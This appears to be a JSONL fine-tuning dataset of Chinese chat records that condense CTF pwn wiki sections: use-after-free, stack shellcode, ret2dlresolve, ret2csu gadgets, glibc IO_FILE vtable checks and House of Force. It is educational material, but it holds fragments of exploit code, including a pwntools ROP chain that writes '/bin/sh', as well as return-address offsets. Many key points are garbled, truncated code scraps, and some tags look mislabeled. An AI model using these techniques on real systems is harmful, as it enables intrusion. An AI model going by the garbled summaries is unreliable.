`::sysinit:/etc/init.d/rcS`\n- bash: 15 行，首行 `#!/bin/sh`\n- shell: 1 行，首行 `$ chmod +x ./etc/init.d/rcS`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1356, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "配置文件系统", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统", "配置文件系统"], "original_id": "docs-08461ee26859c9a8a44f", "original_line": 707, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "cba330c39324faceb14f925b", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell", "code:bash"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6646de6680b81fe091f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「print_note」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：Use After Free > 例子 > 功能分析 > print_note\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“print_note”展开。\n- // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u);\n- if ( v1 < 0 || v1 >= count ) { puts(\"Out of bound!\n- } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]);\n- print_note就是简单的根据给定的note的索引来输出对应索引的note的内容。\n- ``c unsigned int print_note() { int v1;\n\n关键术语：\n- UAF\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 18 行，首行 `unsigned int print_note()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 434, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "print_note", "heading_path": ["Use After Free", "例子", "功能分析", "print_note"], "original_id": "docs-cf5468beb9c38216631a", "original_line": 1120, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "51600c4720bbd4110113e4a8", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-66940a8f4e36a855472c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md`\n标题：执行 Shellcode\n章节：执行 Shellcode > 介绍 > 示例\n路径分类：pwn / pwn/windows/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 下面给出一个经典例子，验证程序溢出后执行 shellcode，编译的环境为 winxp 工具为 vc6.0。\n- } void main() { int valid_flag =0;\n- 文件: ./figure/demo2-2.png] 输入的字符串会被复制到栈中 0012FAE4 的位置。\n- 文件: ./figure/demo2-3.png] 因为通过合理的 padding 控制了返回地址到 0012FAE4，所以在函数返回时寄存器 EIP 的值为 0012FAE4，这时系统会认为栈中的数据为机器码，程序就会执行地址为 0012FAE4 的代码。\n- 可以先生成50 BYTES 的 padding 比较与返回地址的距离，最后确定为60 BYTES 后为返回地址。\n\n关键术语：\n- 边界/溢出\n- 栈\n- AI安全\n- pwn\n- windows\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 34 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1284, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["执行 Shellcode", "介绍", "示例"], "original_id": "docs-78345554aac62d58179a", "original_line": 1468, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md", "source_root": "docs", "source_sha256": "0f5ac88152f1d1d4c5e110cc24311b806c5c0eccb89b90fdbbbac1eda83c0ac4", "split": "train", "split_group_key": "d1640e167c6c903dbef09211", "subcategory": "pwn/windows/user-mode", "terms": ["边界/溢出", "栈", "AI安全", "pwn", "windows", "user-mode", "stackoverflow", "code:c"], "title": "执行 Shellcode"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-66be0a38c533bc1698a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：ret2dlresolve > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号，那么攻击就达成了。\n- 这也是 ret2dlresolve 攻击的核心所在。\n- 在 Linux 中，程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。\n- 那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢？\n- 具体的，动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 275, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["ret2dlresolve", "原理"], "original_id": "docs-e5d53745066c9c802f26", "original_line": 1303, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "65711de5a211a1ac1ab5096e", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67b84e226eedf7f418b3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/mem-virtualization.md` 中的章节「影子页表 （shadow page table）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/mem-virtualization.md`\n标题：内存虚拟化\n章节：内存虚拟化 > 纯软件实现内存虚拟化 > 影子页表 （shadow page table）\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“影子页表 （shadow page table）”展开。\n- 以 Intel 为例，由于读写 CR3 寄存器（存放页顶级表指针）的操作是敏感指令，我们的 Hypervisor 可以很轻易地截获 VM 的这个操作，并将页表替换为存放 GVA→HPA 映射关系的影子页表，这样就能直接完成由 GVA 到 HPA 的转换过程。\n- [图片文件: ./figure/shadow_pt.png] 为了实现影子页表，我们本质上需要实现MMU 虚拟化： - Guest VM 所能看到与操作的实际都上是虚拟的 MMU，真正载入 MMU 的页表是由 Hypevisor 完成翻译后所产生的影子页表。\n- 不过这种方法的缺点就是我们需要为 Guest VM 中的每套页表都独立维护一份影子页表，且需要多次在 VMM 与 VM 间进行切换，这有着不小的开销。\n- 在早期的时候 Intel 硬件对虚拟化并没有很好的支持，因此 Hypervisor 只能先在软件层面进行优化——影子页表（Shadow Page Table）应运而生。\n- 影子页表中的访问权限为只读的，当 Guest 想要读写页表时便能被 Hypervisor 捕获到这个操作并代为处理。\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- mem-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 514, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "影子页表 （shadow page table）", "heading_path": ["内存虚拟化", "纯软件实现内存虚拟化", "影子页表 （shadow page table）"], "original_id": "docs-26b7860e093fed13da5d", "original_line": 1418, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/mem-virtualization.md", "source_root": "docs", "source_sha256": "3a0d37c0b95de80ceec92b908d93c53d97b6ee855f6fca3c6c5b405221e68c91", "split": "train", "split_group_key": "fdba2421d99863482e6914dd", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "mem-virtualization.md"], "title": "内存虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/mem-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67bd02857e5f3629680c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 32C3 CTF readme > 确定偏移\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定偏移”展开。\n- 首先下断点在 main 函数入口处，如下 ``asm gef➤ b 0x00000000004006D0 Breakpoint 1 at 0x4006d0 gef➤ r Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes Breakpoint 1, 0x00000000004006d0 in ?\n- 同时0x00007fffffffdc58 处保留着该地址，所以我们真正需要的地址是 0x00007fffffffdc58。\n- 此外，根据汇编代码 `asm .text:00000000004007E0 push rbp .text:00000000004007E1 mov esi, offset aHelloWhatSYour ;\n- 下面，我们确定 argv[0] 距离读取的字符串的偏移。\n- Breakpoint 2, 0x000000000040080e in ?\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n- code:python\n\n代码/命令片段线索：\n- asm: 29 行，首行 `gef➤ b *0x00000000004006D0`\n- asm: 11 行，首行 `.text:00000000004007E0 push rbp`\n- asm: 32 行，首行 `gef➤ b *0x000000000040080E`\n- python: 4 行，首行 `>>> 0x00007fffffffdc58-0x7fffffffda40`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3532, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "确定偏移", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "32C3 CTF readme", "确定偏移"], "original_id": "docs-a17258f13dbb99237d6a", "original_line": 1268, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "04c3f57210a3982a545515af", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:asm", "code:python"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67c98d1601c4ab410a9c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 这里的检查使得以往使用vtable进行利用的技术很难实现\n- If validation fails, terminate the process. / static inline const struct _IO_jump_t IO_validate_vtable (const struct _IO_jump_t vtable) { / Fast path: The vtable pointer is within the __libc_IO_vtables section. / uintptr_t section_length = __stop___libc_IO_...\n- ``C / Check if unknown vtable pointers are permitted;\n- otherwise, terminate the process. / void _IO_vtable_check (void) attribute_hidden;\n- uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n- code:c\n\n代码/命令片段线索：\n- C: 19 行，首行 `/* Check if unknown vtable pointers are permitted; otherwise,`\n- C: 32 行，首行 `void attribute_hidden`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2224, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "介绍"], "original_id": "docs-526a8a737b687da36f4a", "original_line": 1194, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "7b4faedf6a5fa06d204dc4f1", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file", "code:c"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67e1ff02d96aa11d3c4b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > HITCON training lab 11 > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ hitcontraning_lab11 git:(master) file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbb...\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ hitcontraning_lab11 git:(master) file bamboobox`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 555, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["House Of Force", "HITCON training lab 11", "基本信息"], "original_id": "docs-e101066e711d847f90ef", "original_line": 980, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "f0948d84765034a21a73d42a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-685fecb5812711c4463d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：write \"/bin/sh\" > stage 2\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stage 2”展开。\n- 在这一阶段，我们将会进一步利用 _dl_runtime_resolve 相关的知识来控制程序执行 write 函数。\n- 其实，我们也可以跳转到 0x080483C6 地址处，利用原有的指令来提供 write 函数的偏移，并跳转到 plt0。\n- ' ' .plt:080483CB jmp sub_8048370 ` 具体代码如下 ``python from pwn import elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n- CODE XREF: main+8A↓p .plt:080483C0 .plt:080483C0 fd = dword ptr 4 .plt:080483C0 buf = dword ptr 8 .plt:080483C0 n = dword ptr 0Ch .plt:080483C0 .plt:080483C0 jmp ds:off_804A01C .plt:080483C0 _write endp .plt:080483C0 .plt:080483C6 ;\n- 这里，我们可以直接使用 write plt 中提供的偏移，即 0x080483C6 处所给出的 0x20。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 37 行，首行 `.plt:08048370 ; ===========================================================================`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1914, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "stage 2", "heading_path": ["write \"/bin/sh\"", "stage 2"], "original_id": "docs-8c791288d890a363d009", "original_line": 1313, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "94afbe17a2bf6c2a65c4f22f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-691b4315bc0ec777b5bf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「write \"/bin/sh\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：write \"/bin/sh\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“write \"/bin/sh\"”展开。\n- rop = ROP('./main_partial_relro_32') sh = \"/bin/sh\" rop.write(1, base_stage + 80, len(sh)) rop.raw('a' (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' (100 - len(rop.chain()))) r.sendline(rop.chain())\n- ``shell ❯ python stage1.py [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Sta...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `结果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 699, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "write \"/bin/sh\"", "heading_path": ["write \"/bin/sh\""], "original_id": "docs-cd86d5c16506a25c65e8", "original_line": 1312, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "2877c7f38d082da4e9ab9f22", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6a14835ec3196af4152b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「gadget」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > ret2csu > 思考 > gadget\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 其实，除了上述这个gadgets，gcc默认还会编译进去一些其它的函数 ``text _init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini ` 我们也可以尝试利用其中的一些代码来进行执行。\n- 需要一说的是，在上面的 libc_csu_init 中我们主要利用了以下寄存器 - 利用尾部代码控制了rbx，rbp，r12，r13，r14，r15。\n- 利用中间部分的代码控制了rdx，rsi，edi。\n- 所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令，只要可以确保程序不崩溃。\n- 其中，0x000000000040061A 是正常的起始地址，可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器，在0x0000000000400621 处可以控制 rsi寄存器。\n- 而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:text\n- code:asm\n\n代码/命令片段线索：\n- text: 10 行，首行 `_init`\n- asm: 47 行，首行 `gef➤ x/5i 0x000000000040061A`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2291, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "gadget", "heading_path": ["中级ROP", "ret2csu", "思考", "gadget"], "original_id": "docs-bc22f280f25cace4293b", "original_line": 1281, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "3c87d840a12af67591edd68b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:text", "code:asm"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
